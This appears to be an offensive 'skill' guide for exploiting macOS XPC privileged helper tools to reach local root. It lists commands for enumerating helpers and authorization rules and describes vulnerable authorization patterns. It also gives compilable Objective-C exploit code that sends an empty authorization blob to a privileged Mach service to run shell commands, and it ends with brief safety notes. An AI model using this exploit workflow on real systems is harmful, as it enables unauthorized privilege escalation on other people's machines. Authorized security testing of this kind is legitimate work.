macOS XPC Authorization Analysis

A skill for analyzing and exploiting macOS XPC (Inter-Process Communication) authorization vulnerabilities for privilege escalation.

Overview

XPC services are commonly used by macOS applications to perform privileged operations. HelperTools run as root and expose methods that applications can call. Authorization controls determine who can call these methods. Misconfigurations can lead to local privilege escalation.

Workflow

1. Identify XPC HelperTools

Find installed privileged helper tools:

# List all privileged helper tools
ls -la /Library/PrivilegedHelperTools/

# Check LaunchDaemons for XPC services
ls -la /Library/LaunchDaemons/

# Find Mach services in plists
grep -r "MachServices" /Library/LaunchDaemons/*.plist

2. Enumerate Authorization Rights

Check

/var/db/auth.db

# List all authorization rules
sudo sqlite3 /var/db/auth.db "SELECT name FROM rules;"

# Search for specific service rules
sudo sqlite3 /var/db/auth.db "SELECT name FROM rules WHERE name LIKE '%helper%';"

# Read specific authorization right
security authorizationdb read com.example.HelperTool.right

Use the

enumerate_auth_rights.sh

3. Identify Permissive Authorization Rules

These combinations allow access without user interaction:

authenticate-user

false

allow-root

true

session-owner

true

shared

true

Critical patterns to find:

• authenticate-user: false

  +

  is-admin

  or

  is-session-owner

• allow-root: true

  (if you can get root context)

• session-owner: true

  (current user auto-authorized)

4. Reverse the XPC Service

Find the Protocol Definition

Use

class-dump

class-dump /Library/PrivilegedHelperTools/com.example.HelperTool

Look for the

@protocol

Find the Mach Service Name

Check these locations:

# From LaunchDaemon plist
cat /Library/LaunchDaemons/com.example.HelperTool.plist | grep -A5 MachServices

# From binary (using otool or lldb)
otool -l /Library/PrivilegedHelperTools/com.example.HelperTool | grep -i mach

Check Authorization Implementation

Look for these patterns in the HelperTool binary:

# Check if using EvenBetterAuthorization pattern
strings /Library/PrivilegedHelperTools/com.example.HelperTool | grep -i "checkAuthorization"
strings /Library/PrivilegedHelperTools/com.example.HelperTool | grep -i "AuthorizationCopyRights"
strings /Library/PrivilegedHelperTools/com.example.HelperTool | grep -i "shouldAcceptNewConnection"

Vulnerable patterns:

• shouldAcceptNewConnection

  always returns

  YES

  without code signature verification

• AuthorizationCopyRights(NULL, ...)

  - accepts any 32-byte blob
• Missing

  setCodeSigningRequirement:

  on the listener

5. Develop the Exploit

Create Authorization Reference

#import <Foundation/Foundation.h>
#import <Security/Security.h>

AuthorizationRef authRef;
AuthorizationExternalForm authForm;
OSStatus status;

// Create empty authorization reference
status = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, 
                            kAuthorizationFlagDefaults, &authRef);

// Convert to external form
status = AuthorizationMakeExternalForm(authRef, &authForm);

// Convert to NSData for XPC
NSData *authData = [[NSData alloc] initWithBytes:&authForm 
                                          length:sizeof(authForm)];

Connect to XPC Service

// Define the protocol (match what you found with class-dump)
@protocol HelperToolProtocol
- (void)executeCommandWithAuthorization:(NSData *)authData 
                                command:(NSString *)cmd 
                                  reply:(void (^)(NSError *))callback;
@end

// Connect to the service
NSString *serviceName = @"com.example.HelperTool";
NSXPCConnection *connection = [[NSXPCConnection alloc] 
    initWithMachServiceName:serviceName 
                     options:NSXPCConnectionPrivileged];

NSXPCInterface *interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
[connection setRemoteObjectInterface:interface];
[connection resume];

id remoteProxy = [connection remoteObjectProxyWithErrorHandler:^(NSError *error) {
    NSLog(@"Connection error: %@", error);
}];

Call Privileged Method

// Call the method with your authorization data
[remoteProxy executeCommandWithAuthorization:authData 
                                    command:@"/bin/sh -c 'id'" 
                                      reply:^(NSError *error) {
    if (error) {
        NSLog(@"Method call failed: %@", error);
    } else {
        NSLog(@"Success!");
    }
}];

// Keep the process alive
[NSThread sleepForTimeInterval:5.0];

6. Compile and Run

gcc -framework Foundation -framework Security exploit.m -o exploit
./exploit

Common Vulnerable Patterns

Pattern 1: NULL AuthorizationRef

// Vulnerable - accepts any 32-byte blob
err = AuthorizationCopyRights(NULL, &rights, NULL, flags, NULL);

Exploit: Send any 32-byte data as authData.

Pattern 2: Missing Code Signature Check

// Vulnerable - no code signature verification
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
    return YES;  // Always accepts!
}

Exploit: Connect without proper code signing.

Pattern 3: Permissive Authorization Rules

{
  "class": "allow",
  "version": 1,
  "allow-root": true,
  "authenticate-user": false
}

Exploit: Use empty authorization reference.

Known CVEs for Reference

Quick Triage Checklist

• List all HelperTools in

  /Library/PrivilegedHelperTools/

• Check LaunchDaemons for MachServices entries
• Run

  enumerate_auth_rights.sh

  to find permissive rules
• Use

  class-dump

  on each HelperTool to get protocol
• Check for

  checkAuthorization

  function in binary
• Look for

  AuthorizationCopyRights(NULL, ...)

  pattern
• Verify if

  shouldAcceptNewConnection

  checks code signature
• Test with empty authorization reference

Tools

• class-dump

  - Extract protocol definitions

• sqlite3

  - Query auth.db

• security authorizationdb

  - Read authorization rights

• codesign

  - Check code requirements

• otool

  /

  strings

  - Binary analysis

• lldb

  - Dynamic debugging

Safety Notes

• Always have proper authorization before testing
• Document findings for responsible disclosure
• Some exploits may crash the system or trigger security alerts
• Test in isolated environments when possible